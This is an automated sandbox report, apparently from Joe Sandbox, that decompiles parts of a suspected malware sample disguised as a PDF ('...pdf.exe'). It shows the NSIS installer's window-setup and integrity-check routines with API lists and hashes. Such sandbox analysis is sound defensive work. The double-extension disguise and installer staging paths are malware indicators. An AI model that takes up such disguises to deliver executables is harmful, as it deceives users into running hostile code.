                                                                                                                control_flow_graph 373 403bec-403c04 call 40690a 376 403c06-403c11 GetUserDefaultUILanguage call 406484 373->376 377 403c18-403c4f call 40640b 373->377 380 403c16 376->380 383 403c51-403c62 call 40640b 377->383 384 403c67-403c6d lstrcatW 377->384 382 403c72-403c9b call 403ec2 call 405f14 380->382 390 403ca1-403ca6 382->390 391 403d2d-403d35 call 405f14 382->391 383->384 384->382 390->391 392 403cac-403cc6 call 40640b 390->392 397 403d43-403d68 LoadImageW 391->397 398 403d37-403d3e call 40657a 391->398 396 403ccb-403cd4 392->396 396->391 399 403cd6-403cda 396->399 401 403de9-403df1 call 40140b 397->401 402 403d6a-403d9a RegisterClassW 397->402 398->397 403 403cec-403cf8 lstrlenW 399->403 404 403cdc-403ce9 call 405e39 399->404 416 403df3-403df6 401->416 417 403dfb-403e06 call 403ec2 401->417 405 403da0-403de4 SystemParametersInfoW CreateWindowExW 402->405 406 403eb8 402->406 410 403d20-403d28 call 405e0c call 40653d 403->410 411 403cfa-403d08 lstrcmpiW 403->411 404->403 405->401 409 403eba-403ec1 406->409 410->391 411->410 415 403d0a-403d14 GetFileAttributesW 411->415 420 403d16-403d18 415->420 421 403d1a-403d1b call 405e58 415->421 416->409 425 403e0c-403e26 ShowWindow call 40689a 417->425 426 403e8f-403e97 call 405672 417->426 420->410 420->421 421->410 433 403e32-403e44 GetClassInfoW 425->433 434 403e28-403e2d call 40689a 425->434 431 403eb1-403eb3 call 40140b 426->431 432 403e99-403e9f 426->432 431->406 432->416 435 403ea5-403eac call 40140b 432->435 438 403e46-403e56 GetClassInfoW RegisterClassW 433->438 439 403e5c-403e7f DialogBoxParamW call 40140b 433->439 434->433 435->416 438->439 443 403e84-403e8d call 403b3c 439->443 443->409
                                                                                                                C-Code - Quality: 96%
                                                                                                                			E00403BEC(void* __eflags) {
                                                                                                                				intOrPtr _v4;
                                                                                                                				intOrPtr _v8;
                                                                                                                				int _v12;
                                                                                                                				void _v16;
                                                                                                                				void* __ebx;
                                                                                                                				void* __edi;
                                                                                                                				void* __esi;
                                                                                                                				intOrPtr* _t22;
                                                                                                                				void* _t30;
                                                                                                                				void* _t32;
                                                                                                                				int _t33;
                                                                                                                				void* _t36;
                                                                                                                				int _t39;
                                                                                                                				int _t40;
                                                                                                                				int _t44;
                                                                                                                				short _t63;
                                                                                                                				WCHAR* _t65;
                                                                                                                				signed char _t69;
                                                                                                                				signed short _t73;
                                                                                                                				WCHAR* _t76;
                                                                                                                				intOrPtr _t82;
                                                                                                                				WCHAR* _t87;
                                                                                                                
                                                                                                                				_t82 =  *0x434f10;
                                                                                                                				_t22 = E0040690A(2);
                                                                                                                				_t90 = _t22;
                                                                                                                				if(_t22 == 0) {
                                                                                                                					_t76 = 0x42d268;
                                                                                                                					L"1033" = 0x30;
                                                                                                                					 *0x442002 = 0x78;
                                                                                                                					 *0x442004 = 0;
                                                                                                                					E0040640B(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x42d268, 0);
                                                                                                                					__eflags =  *0x42d268;
                                                                                                                					if(__eflags == 0) {
                                                                                                                						E0040640B(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x42d268, 0);
                                                                                                                					}
                                                                                                                					lstrcatW(L"1033", _t76);
                                                                                                                				} else {
                                                                                                                					_t73 =  *_t22(); // executed
                                                                                                                					E00406484(L"1033", _t73 & 0x0000ffff);
                                                                                                                				}
                                                                                                                				E00403EC2(_t78, _t90);
                                                                                                                				_t86 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes";
                                                                                                                				 *0x434f80 =  *0x434f18 & 0x00000020;
                                                                                                                				 *0x434f9c = 0x10000;
                                                                                                                				if(E00405F14(_t90, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Buildup\\Skaldedes") != 0) {
                                                                                                                					L16:
                                                                                                                					if(E00405F14(_t98, _t86) == 0) {
                                                                                                                						E0040657A(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
                                                                                                                					}
                                                                                                                					_t30 = LoadImageW( *0x434f00, 0x67, 1, 0, 0, 0x8040); // executed
                                                                                                                					 *0x433ee8 = _t30;
                                                                                                                					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
                                                                                                                						L21:
                                                                                                                						if(E0040140B(0) == 0) {
                                                                                                                							_t32 = E00403EC2(_t78, __eflags);
                                                                                                                							__eflags =  *0x434fa0;
                                                                                                                							if( *0x434fa0 != 0) {
                                                                                                                								_t33 = E00405672(_t32, 0);
                                                                                                                								__eflags = _t33;
                                                                                                                								if(_t33 == 0) {
                                                                                                                									E0040140B(1);
                                                                                                                									goto L33;
                                                                                                                								}
                                                                                                                								__eflags =  *0x433ecc;
                                                                                                                								if( *0x433ecc == 0) {
                                                                                                                									E0040140B(2);
                                                                                                                								}
                                                                                                                								goto L22;
                                                                                                                							}
                                                                                                                							ShowWindow( *0x42d248, 5); // executed
                                                                                                                							_t39 = E0040689A("RichEd20"); // executed
                                                                                                                							__eflags = _t39;
                                                                                                                							if(_t39 == 0) {
                                                                                                                								E0040689A("RichEd32");
                                                                                                                							}
                                                                                                                							_t87 = L"RichEdit20W";
                                                                                                                							_t40 = GetClassInfoW(0, _t87, 0x433ea0);
                                                                                                                							__eflags = _t40;
                                                                                                                							if(_t40 == 0) {
                                                                                                                								GetClassInfoW(0, L"RichEdit", 0x433ea0);
                                                                                                                								 *0x433ec4 = _t87;
                                                                                                                								RegisterClassW(0x433ea0);
                                                                                                                							}
                                                                                                                							_t44 = DialogBoxParamW( *0x434f00,  *0x433ee0 + 0x00000069 & 0x0000ffff, 0, E00403F9A, 0); // executed
                                                                                                                							E00403B3C(E0040140B(5), 1);
                                                                                                                							return _t44;
                                                                                                                						}
                                                                                                                						L22:
                                                                                                                						_t36 = 2;
                                                                                                                						return _t36;
                                                                                                                					} else {
                                                                                                                						_t78 =  *0x434f00;
                                                                                                                						 *0x433ea4 = E00401000;
                                                                                                                						 *0x433eb0 =  *0x434f00;
                                                                                                                						 *0x433eb4 = _t30;
                                                                                                                						 *0x433ec4 = 0x40a380;
                                                                                                                						if(RegisterClassW(0x433ea0) == 0) {
                                                                                                                							L33:
                                                                                                                							__eflags = 0;
                                                                                                                							return 0;
                                                                                                                						}
                                                                                                                						SystemParametersInfoW(0x30, 0,  &_v16, 0);
                                                                                                                						 *0x42d248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x434f00, 0);
                                                                                                                						goto L21;
                                                                                                                					}
                                                                                                                				} else {
                                                                                                                					_t78 =  *(_t82 + 0x48);
                                                                                                                					_t92 = _t78;
                                                                                                                					if(_t78 == 0) {
                                                                                                                						goto L16;
                                                                                                                					}
                                                                                                                					_t76 = 0x432ea0;
                                                                                                                					E0040640B(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x434f38 + _t78 * 2,  *0x434f38 +  *(_t82 + 0x4c) * 2, 0x432ea0, 0);
                                                                                                                					_t63 =  *0x432ea0; // 0x43
                                                                                                                					if(_t63 == 0) {
                                                                                                                						goto L16;
                                                                                                                					}
                                                                                                                					if(_t63 == 0x22) {
                                                                                                                						_t76 = 0x432ea2;
                                                                                                                						 *((short*)(E00405E39(0x432ea2, 0x22))) = 0;
                                                                                                                					}
                                                                                                                					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
                                                                                                                					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
                                                                                                                						L15:
                                                                                                                						E0040653D(_t86, E00405E0C(_t76));
                                                                                                                						goto L16;
                                                                                                                					} else {
                                                                                                                						_t69 = GetFileAttributesW(_t76);
                                                                                                                						if(_t69 == 0xffffffff) {
                                                                                                                							L14:
                                                                                                                							E00405E58(_t76);
                                                                                                                							goto L15;
                                                                                                                						}
                                                                                                                						_t98 = _t69 & 0x00000010;
                                                                                                                						if((_t69 & 0x00000010) != 0) {
                                                                                                                							goto L15;
                                                                                                                						}
                                                                                                                						goto L14;
                                                                                                                					}
                                                                                                                				}
                                                                                                                			}

























                                                                                                                0x00403bf2
                                                                                                                0x00403bfb
                                                                                                                0x00403c02
                                                                                                                0x00403c04
                                                                                                                0x00403c18
                                                                                                                0x00403c2a
                                                                                                                0x00403c33
                                                                                                                0x00403c3c
                                                                                                                0x00403c43
                                                                                                                0x00403c48
                                                                                                                0x00403c4f
                                                                                                                0x00403c62
                                                                                                                0x00403c62
                                                                                                                0x00403c6d
                                                                                                                0x00403c06
                                                                                                                0x00403c06
                                                                                                                0x00403c11
                                                                                                                0x00403c11
                                                                                                                0x00403c72
                                                                                                                0x00403c7c
                                                                                                                0x00403c85
                                                                                                                0x00403c8a
                                                                                                                0x00403c9b
                                                                                                                0x00403d2d
                                                                                                                0x00403d35
                                                                                                                0x00403d3e
                                                                                                                0x00403d3e
                                                                                                                0x00403d54
                                                                                                                0x00403d5a
                                                                                                                0x00403d68
                                                                                                                0x00403de9
                                                                                                                0x00403df1
                                                                                                                0x00403dfb
                                                                                                                0x00403e00
                                                                                                                0x00403e06
                                                                                                                0x00403e90
                                                                                                                0x00403e95
                                                                                                                0x00403e97
                                                                                                                0x00403eb3
                                                                                                                0x00000000
                                                                                                                0x00403eb3
                                                                                                                0x00403e99
                                                                                                                0x00403e9f
                                                                                                                0x00403ea7
                                                                                                                0x00403ea7
                                                                                                                0x00000000
                                                                                                                0x00403e9f
                                                                                                                0x00403e14
                                                                                                                0x00403e1f
                                                                                                                0x00403e24
                                                                                                                0x00403e26
                                                                                                                0x00403e2d
                                                                                                                0x00403e2d
                                                                                                                0x00403e38
                                                                                                                0x00403e40
                                                                                                                0x00403e42
                                                                                                                0x00403e44
                                                                                                                0x00403e4d
                                                                                                                0x00403e50
                                                                                                                0x00403e56
                                                                                                                0x00403e56
                                                                                                                0x00403e75
                                                                                                                0x00403e86
                                                                                                                0x00000000
                                                                                                                0x00403e8b
                                                                                                                0x00403df3
                                                                                                                0x00403df5
                                                                                                                0x00000000
                                                                                                                0x00403d6a
                                                                                                                0x00403d6a
                                                                                                                0x00403d76
                                                                                                                0x00403d80
                                                                                                                0x00403d86
                                                                                                                0x00403d8b
                                                                                                                0x00403d9a
                                                                                                                0x00403eb8
                                                                                                                0x00403eb8
                                                                                                                0x00000000
                                                                                                                0x00403eb8
                                                                                                                0x00403da9
                                                                                                                0x00403de4
                                                                                                                0x00000000
                                                                                                                0x00403de4
                                                                                                                0x00403ca1
                                                                                                                0x00403ca1
                                                                                                                0x00403ca4
                                                                                                                0x00403ca6
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403cb4
                                                                                                                0x00403cc6
                                                                                                                0x00403ccb
                                                                                                                0x00403cd4
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403cda
                                                                                                                0x00403cdc
                                                                                                                0x00403ce9
                                                                                                                0x00403ce9
                                                                                                                0x00403cf2
                                                                                                                0x00403cf8
                                                                                                                0x00403d20
                                                                                                                0x00403d28
                                                                                                                0x00000000
                                                                                                                0x00403d0a
                                                                                                                0x00403d0b
                                                                                                                0x00403d14
                                                                                                                0x00403d1a
                                                                                                                0x00403d1b
                                                                                                                0x00000000
                                                                                                                0x00403d1b
                                                                                                                0x00403d16
                                                                                                                0x00403d18
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403d18
                                                                                                                0x00403cf8

                                                                                                                APIs
                                                                                                                  • Part of subcall function 0040690A: GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
                                                                                                                  • Part of subcall function 0040690A: GetProcAddress.KERNEL32(00000000,?), ref: 00406937
                                                                                                                • GetUserDefaultUILanguage.KERNELBASE(00000002,76573420,C:\Users\user\AppData\Local\Temp\,?,00000000,?), ref: 00403C06
                                                                                                                  • Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491
                                                                                                                • lstrcatW.KERNEL32(1033,0042D268), ref: 00403C6D
                                                                                                                • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76573420), ref: 00403CED
                                                                                                                • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 00403D00
                                                                                                                • GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403D0B
                                                                                                                • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes), ref: 00403D54
                                                                                                                • RegisterClassW.USER32(00433EA0), ref: 00403D91
                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DA9
                                                                                                                • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DDE
                                                                                                                • ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403E14
                                                                                                                • GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403E40
                                                                                                                • GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403E4D
                                                                                                                • RegisterClassW.USER32(00433EA0), ref: 00403E56
                                                                                                                • DialogBoxParamW.USER32(?,00000000,00403F9A,00000000), ref: 00403E75
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
                                                                                                                • String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                                                                                                • API String ID: 606308-2597576978
                                                                                                                • Opcode ID: 5a24b6ccf2dff8f69514c8993659dfa0179b66eb04d645246d0b4e575a356aee
                                                                                                                • Instruction ID: 6cc527b2f10929733706d009ff8c1d9b21e511251dd9cb17fe62514cef47010a
                                                                                                                • Opcode Fuzzy Hash: 5a24b6ccf2dff8f69514c8993659dfa0179b66eb04d645246d0b4e575a356aee
                                                                                                                • Instruction Fuzzy Hash: F561A670140300BED721AF66ED46F2B3A6CEB84B5AF40453FF945B62E2CB7D59018A6D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 446 40307d-4030cb GetTickCount GetModuleFileNameW call 40602d 449 4030d7-403105 call 40653d call 405e58 call 40653d GetFileSize 446->449 450 4030cd-4030d2 446->450 458 4031f0-4031fe call 403019 449->458 459 40310b 449->459 451 4032ad-4032b1 450->451 466 403200-403203 458->466 467 403253-403258 458->467 461 403110-403127 459->461 463 403129 461->463 464 40312b-403134 call 4034cf 461->464 463->464 471 40325a-403262 call 403019 464->471 472 40313a-403141 464->472 469 403205-40321d call 4034e5 call 4034cf 466->469 470 403227-403251 GlobalAlloc call 4034e5 call 4032b4 466->470 467->451 469->467 493 40321f-403225 469->493 470->467 497 403264-403275 470->497 471->467 475 403143-403157 call 405fe8 472->475 476 4031bd-4031c1 472->476 481 4031cb-4031d1 475->481 495 403159-403160 475->495 480 4031c3-4031ca call 403019 476->480 476->481 480->481 488 4031e0-4031e8 481->488 489 4031d3-4031dd call 4069f7 481->489 488->461 496 4031ee 488->496 489->488 493->467 493->470 495->481 499 403162-403169 495->499 496->458 500 403277 497->500 501 40327d-403282 497->501 499->481 502 40316b-403172 499->502 500->501 503 403283-403289 501->503 502->481 505 403174-40317b 502->505 503->503 504 40328b-4032a6 SetFilePointer call 405fe8 503->504 508 4032ab 504->508 505->481 507 40317d-40319d 505->507 507->467 509 4031a3-4031a7 507->509 508->451 510 4031a9-4031ad 509->510 511 4031af-4031b7 509->511 510->496 510->511 511->481 512 4031b9-4031bb 511->512 512->481
                                                                                                                C-Code - Quality: 80%
                                                                                                                			E0040307D(void* __eflags, signed int _a4) {
                                                                                                                				DWORD* _v8;
                                                                                                                				DWORD* _v12;
                                                                                                                				void* _v16;
                                                                                                                				intOrPtr _v20;
                                                                                                                				char _v24;
                                                                                                                				intOrPtr _v28;
                                                                                                                				intOrPtr _v32;
                                                                                                                				intOrPtr _v36;
                                                                                                                				intOrPtr _v40;
                                                                                                                				signed int _v44;
                                                                                                                				long _t43;
                                                                                                                				signed int _t50;
                                                                                                                				void* _t53;
                                                                                                                				void* _t57;
                                                                                                                				intOrPtr* _t59;
                                                                                                                				long _t60;
                                                                                                                				signed int _t65;
                                                                                                                				signed int _t70;
                                                                                                                				signed int _t71;
                                                                                                                				signed int _t77;
                                                                                                                				intOrPtr _t80;
                                                                                                                				long _t82;
                                                                                                                				signed int _t85;
                                                                                                                				signed int _t87;
                                                                                                                				void* _t89;
                                                                                                                				signed int _t90;
                                                                                                                				signed int _t93;
                                                                                                                				void* _t94;
                                                                                                                
                                                                                                                				_t82 = 0;
                                                                                                                				_v12 = 0;
                                                                                                                				_v8 = 0;
                                                                                                                				_t43 = GetTickCount();
                                                                                                                				_t91 = L"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe";
                                                                                                                				 *0x434f0c = _t43 + 0x3e8;
                                                                                                                				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\008s06523610054680b6011375030062022.pdf.exe", 0x400);
                                                                                                                				_t89 = E0040602D(_t91, 0x80000000, 3);
                                                                                                                				_v16 = _t89;
                                                                                                                				 *0x40a018 = _t89;
                                                                                                                				if(_t89 == 0xffffffff) {
                                                                                                                					return L"Error launching installer";
                                                                                                                				}
                                                                                                                				_t92 = L"C:\\Users\\Arthur\\Desktop";
                                                                                                                				E0040653D(L"C:\\Users\\Arthur\\Desktop", _t91);
                                                                                                                				E0040653D(0x444000, E00405E58(_t92));
                                                                                                                				_t50 = GetFileSize(_t89, 0);
                                                                                                                				__eflags = _t50;
                                                                                                                				 *0x42aa24 = _t50;
                                                                                                                				_t93 = _t50;
                                                                                                                				if(_t50 <= 0) {
                                                                                                                					L24:
                                                                                                                					E00403019(1);
                                                                                                                					__eflags =  *0x434f14 - _t82;
                                                                                                                					if( *0x434f14 == _t82) {
                                                                                                                						goto L29;
                                                                                                                					}
                                                                                                                					__eflags = _v8 - _t82;
                                                                                                                					if(_v8 == _t82) {
                                                                                                                						L28:
                                                                                                                						_t34 =  &_v24; // 0x40387d
                                                                                                                						_t53 = GlobalAlloc(0x40,  *_t34); // executed
                                                                                                                						_t94 = _t53;
                                                                                                                						E004034E5( *0x434f14 + 0x1c);
                                                                                                                						_t35 =  &_v24; // 0x40387d
                                                                                                                						_push( *_t35);
                                                                                                                						_push(_t94);
                                                                                                                						_push(_t82);
                                                                                                                						_push(0xffffffff); // executed
                                                                                                                						_t57 = E004032B4(); // executed
                                                                                                                						__eflags = _t57 - _v24;
                                                                                                                						if(_t57 == _v24) {
                                                                                                                							__eflags = _v44 & 0x00000001;
                                                                                                                							 *0x434f10 = _t94;
                                                                                                                							 *0x434f18 =  *_t94;
                                                                                                                							if((_v44 & 0x00000001) != 0) {
                                                                                                                								 *0x434f1c =  *0x434f1c + 1;
                                                                                                                								__eflags =  *0x434f1c;
                                                                                                                							}
                                                                                                                							_t40 = _t94 + 0x44; // 0x44
                                                                                                                							_t59 = _t40;
                                                                                                                							_t85 = 8;
                                                                                                                							do {
                                                                                                                								_t59 = _t59 - 8;
                                                                                                                								 *_t59 =  *_t59 + _t94;
                                                                                                                								_t85 = _t85 - 1;
                                                                                                                								__eflags = _t85;
                                                                                                                							} while (_t85 != 0);
                                                                                                                							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
                                                                                                                							 *(_t94 + 0x3c) = _t60;
                                                                                                                							E00405FE8(0x434f20, _t94 + 4, 0x40);
                                                                                                                							__eflags = 0;
                                                                                                                							return 0;
                                                                                                                						}
                                                                                                                						goto L29;
                                                                                                                					}
                                                                                                                					E004034E5( *0x41ea18);
                                                                                                                					_t65 = E004034CF( &_a4, 4);
                                                                                                                					__eflags = _t65;
                                                                                                                					if(_t65 == 0) {
                                                                                                                						goto L29;
                                                                                                                					}
                                                                                                                					__eflags = _v12 - _a4;
                                                                                                                					if(_v12 != _a4) {
                                                                                                                						goto L29;
                                                                                                                					}
                                                                                                                					goto L28;
                                                                                                                				} else {
                                                                                                                					do {
                                                                                                                						_t90 = _t93;
                                                                                                                						asm("sbb eax, eax");
                                                                                                                						_t70 = ( ~( *0x434f14) & 0x00007e00) + 0x200;
                                                                                                                						__eflags = _t93 - _t70;
                                                                                                                						if(_t93 >= _t70) {
                                                                                                                							_t90 = _t70;
                                                                                                                						}
                                                                                                                						_t71 = E004034CF(0x416a18, _t90);
                                                                                                                						__eflags = _t71;
                                                                                                                						if(_t71 == 0) {
                                                                                                                							E00403019(1);
                                                                                                                							L29:
                                                                                                                							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                                                                                                						}
                                                                                                                						__eflags =  *0x434f14;
                                                                                                                						if( *0x434f14 != 0) {
                                                                                                                							__eflags = _a4 & 0x00000002;
                                                                                                                							if((_a4 & 0x00000002) == 0) {
                                                                                                                								E00403019(0);
                                                                                                                							}
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						E00405FE8( &_v44, 0x416a18, 0x1c);
                                                                                                                						_t77 = _v44;
                                                                                                                						__eflags = _t77 & 0xfffffff0;
                                                                                                                						if((_t77 & 0xfffffff0) != 0) {
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						__eflags = _v40 - 0xdeadbeef;
                                                                                                                						if(_v40 != 0xdeadbeef) {
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						__eflags = _v28 - 0x74736e49;
                                                                                                                						if(_v28 != 0x74736e49) {
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						__eflags = _v32 - 0x74666f73;
                                                                                                                						if(_v32 != 0x74666f73) {
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						__eflags = _v36 - 0x6c6c754e;
                                                                                                                						if(_v36 != 0x6c6c754e) {
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						_a4 = _a4 | _t77;
                                                                                                                						_t87 =  *0x41ea18; // 0x8e6a7
                                                                                                                						 *0x434fa0 =  *0x434fa0 | _a4 & 0x00000002;
                                                                                                                						_t80 = _v20;
                                                                                                                						__eflags = _t80 - _t93;
                                                                                                                						 *0x434f14 = _t87;
                                                                                                                						if(_t80 > _t93) {
                                                                                                                							goto L29;
                                                                                                                						}
                                                                                                                						__eflags = _a4 & 0x00000008;
                                                                                                                						if((_a4 & 0x00000008) != 0) {
                                                                                                                							L16:
                                                                                                                							_v8 = _v8 + 1;
                                                                                                                							_t93 = _t80 - 4;
                                                                                                                							__eflags = _t90 - _t93;
                                                                                                                							if(_t90 > _t93) {
                                                                                                                								_t90 = _t93;
                                                                                                                							}
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                						__eflags = _a4 & 0x00000004;
                                                                                                                						if((_a4 & 0x00000004) != 0) {
                                                                                                                							break;
                                                                                                                						}
                                                                                                                						goto L16;
                                                                                                                						L20:
                                                                                                                						__eflags = _t93 -  *0x42aa24; // 0x8fbf0
                                                                                                                						if(__eflags < 0) {
                                                                                                                							_v12 = E004069F7(_v12, 0x416a18, _t90);
                                                                                                                						}
                                                                                                                						 *0x41ea18 =  *0x41ea18 + _t90;
                                                                                                                						_t93 = _t93 - _t90;
                                                                                                                						__eflags = _t93;
                                                                                                                					} while (_t93 != 0);
                                                                                                                					_t82 = 0;
                                                                                                                					__eflags = 0;
                                                                                                                					goto L24;
                                                                                                                				}
                                                                                                                			}































                                                                                                                0x00403085
                                                                                                                0x00403088
                                                                                                                0x0040308b
                                                                                                                0x0040308e
                                                                                                                0x00403094
                                                                                                                0x004030a5
                                                                                                                0x004030aa
                                                                                                                0x004030bd
                                                                                                                0x004030c2
                                                                                                                0x004030c5
                                                                                                                0x004030cb
                                                                                                                0x00000000
                                                                                                                0x004030cd
                                                                                                                0x004030d8
                                                                                                                0x004030de
                                                                                                                0x004030ef
                                                                                                                0x004030f6
                                                                                                                0x004030fc
                                                                                                                0x004030fe
                                                                                                                0x00403103
                                                                                                                0x00403105
                                                                                                                0x004031f0
                                                                                                                0x004031f2
                                                                                                                0x004031f7
                                                                                                                0x004031fe
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403200
                                                                                                                0x00403203
                                                                                                                0x00403227
                                                                                                                0x00403227
                                                                                                                0x0040322c
                                                                                                                0x00403232
                                                                                                                0x0040323d
                                                                                                                0x00403242
                                                                                                                0x00403242
                                                                                                                0x00403245
                                                                                                                0x00403246
                                                                                                                0x00403247
                                                                                                                0x00403249
                                                                                                                0x0040324e
                                                                                                                0x00403251
                                                                                                                0x00403264
                                                                                                                0x00403268
                                                                                                                0x00403270
                                                                                                                0x00403275
                                                                                                                0x00403277
                                                                                                                0x00403277
                                                                                                                0x00403277
                                                                                                                0x0040327f
                                                                                                                0x0040327f
                                                                                                                0x00403282
                                                                                                                0x00403283
                                                                                                                0x00403283
                                                                                                                0x00403286
                                                                                                                0x00403288
                                                                                                                0x00403288
                                                                                                                0x00403288
                                                                                                                0x00403292
                                                                                                                0x00403298
                                                                                                                0x004032a6
                                                                                                                0x004032ab
                                                                                                                0x00000000
                                                                                                                0x004032ab
                                                                                                                0x00000000
                                                                                                                0x00403251
                                                                                                                0x0040320b
                                                                                                                0x00403216
                                                                                                                0x0040321b
                                                                                                                0x0040321d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403222
                                                                                                                0x00403225
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040310b
                                                                                                                0x00403110
                                                                                                                0x00403115
                                                                                                                0x00403119
                                                                                                                0x00403120
                                                                                                                0x00403125
                                                                                                                0x00403127
                                                                                                                0x00403129
                                                                                                                0x00403129
                                                                                                                0x0040312d
                                                                                                                0x00403132
                                                                                                                0x00403134
                                                                                                                0x0040325c
                                                                                                                0x00403253
                                                                                                                0x00000000
                                                                                                                0x00403253
                                                                                                                0x0040313a
                                                                                                                0x00403141
                                                                                                                0x004031bd
                                                                                                                0x004031c1
                                                                                                                0x004031c5
                                                                                                                0x004031ca
                                                                                                                0x00000000
                                                                                                                0x004031c1
                                                                                                                0x0040314a
                                                                                                                0x0040314f
                                                                                                                0x00403152
                                                                                                                0x00403157
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403159
                                                                                                                0x00403160
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403162
                                                                                                                0x00403169
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040316b
                                                                                                                0x00403172
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00403174
                                                                                                                0x0040317b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040317d
                                                                                                                0x00403183
                                                                                                                0x0040318c
                                                                                                                0x00403192
                                                                                                                0x00403195
                                                                                                                0x00403197
                                                                                                                0x0040319d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004031a3
                                                                                                                0x004031a7
                                                                                                                0x004031af
                                                                                                                0x004031af
                                                                                                                0x004031b2
                                                                                                                0x004031b5
